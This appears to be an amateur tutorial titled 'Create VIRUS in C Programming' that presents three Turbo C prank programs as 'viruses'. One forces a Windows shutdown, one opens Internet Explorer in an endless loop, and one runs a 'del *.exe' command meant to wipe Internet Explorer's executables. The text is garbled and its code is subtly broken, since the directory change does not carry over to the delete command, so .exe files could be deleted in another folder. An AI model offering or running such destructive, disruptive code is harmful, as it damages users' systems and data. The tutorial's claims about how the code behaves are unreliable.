Create VIRUS in C Programming !!!!!!!!!!

(only for study purpose)

(1)Write c program which shutdown the window operating system ?

Ans:

Write the following program in TURBO C.

void main(void)

{

system("shutdown -s");

}

Save the above .Let file name is close.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory c:\tc\bin) and double click the its exe file(close.exe).After some time your window will shutdown.

(2) Write a c program such that when we will click its .exe file then it will open internet explorer at infinite times ?

Ans:

Write the following program in TURBO C.

void main(void)

{

for(; ;)

{

system("c:\\progra~1\\intern~1\\iexplore.exe");

}

}

Save the above .Let file name is internet.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window where you have saved the internet.c ( default directory c:\tc\bin)and double click the its exe file(internet.exe).

(3) Write a c which delete the all the .exe file of internet explorer so that internet explorer will work?

Ans:

Write the following program in TURBO C.

void main(void)

{

system("cd c:\\progra~1\\intern~1");

system(“del *.exe”);

system(“cls”);

}

Save the above .Let file name is internet.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window where you have saved the internet.c ( default directory c:\tc\bin)and double click the its exe file(internet.exe).